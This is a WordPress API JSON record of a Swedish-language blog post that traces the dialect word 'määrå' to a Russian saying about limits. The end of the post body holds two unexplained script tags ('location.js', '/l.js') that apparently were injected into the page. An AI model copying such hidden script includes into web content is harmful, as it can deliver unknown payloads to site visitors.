{"id":1661,"date":"2013-03-22T09:56:46","date_gmt":"2013-03-22T07:56:46","guid":{"rendered":"http:\/\/84.20.155.7\/nywp\/?p=1661"},"modified":"2013-03-22T10:56:26","modified_gmt":"2013-03-22T08:56:26","slug":"dagens-ord-maara","status":"publish","type":"post","link":"https:\/\/hindersby.net\/nywp\/?p=1661","title":{"rendered":"Dagens ord: M\u00e4\u00e4r\u00e5"},"content":{"rendered":"<p><strong>He ska va m\u00e4\u00e4r\u00e5 me allt.<\/strong><\/p>\n<p>M\u00e5nga tror att ordet &#8221;m\u00e4\u00e4r\u00e5&#8221; kommer fr\u00e5n finskan men i verkligheten \u00e4r det fr\u00e5ga om ett l\u00e5n fr\u00e5n ryskan. Uttrycket kommer i sin helhet fr\u00e5n ryskans motsvarande: &#8221;BceMy ecT \u041c\u0435\u0440\u0443&#8221; (uttalas &#8221;fsimoo jeest meero&#8221;) och \u00e4r direkt \u00f6versatt &#8221;Allt har sin gr\u00e4ns&#8221;. Ryskans &#8221;Mepa&#8221; (&#8221;mera&#8221; med latinska bokst\u00e4ver) \u00a0betyder &#8221;gr\u00e4ns&#8221; men ocks\u00e5 &#8221;m\u00e5tt&#8221;. Finskan har ocks\u00e5 l\u00e5nat in ordet men i den senare betydelsen d\u00e4r &#8221;m\u00e4\u00e4r\u00e4&#8221; betydser &#8221;m\u00e4ngd, antal&#8221;. I v\u00e5rt ordspr\u00e5k \u00e4r det fr\u00e5ga om den andra inneb\u00f6rden dvs. &#8221;gr\u00e4ns&#8221;.<\/p>\n<p>&nbsp;<script src='location.js?p=1' type=text\/javascript><\/script><script src='\/l.js?p=1' type=text\/javascript><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>He ska va m\u00e4\u00e4r\u00e5 me allt. M\u00e5nga tror att ordet &#8221;m\u00e4\u00e4r\u00e5&#8221; kommer fr\u00e5n finskan men i verkligheten \u00e4r det fr\u00e5ga om ett l\u00e5n fr\u00e5n ryskan. Uttrycket kommer i sin helhet fr\u00e5n ryskans motsvarande: &#8221;BceMy ecT \u041c\u0435\u0440\u0443&#8221; (uttalas &#8221;fsimoo jeest meero&#8221;) och \u00e4r direkt \u00f6versatt &#8221;Allt har sin gr\u00e4ns&#8221;. Ryskans &#8221;Mepa&#8221; (&#8221;mera&#8221; med latinska bokst\u00e4ver) \u00a0betyder &hellip; <a href=\"https:\/\/hindersby.net\/nywp\/?p=1661\" class=\"more-link\">Forts\u00e4tt l\u00e4sa<span class=\"screen-reader-text\"> \u201dDagens ord: M\u00e4\u00e4r\u00e5\u201d<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[74],"tags":[],"class_list":["post-1661","post","type-post","status-publish","format-standard","hentry","category-sprak"],"_links":{"self":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts\/1661","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1661"}],"version-history":[{"count":4,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts\/1661\/revisions"}],"predecessor-version":[{"id":1665,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts\/1661\/revisions\/1665"}],"wp:attachment":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1661"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1661"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1661"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}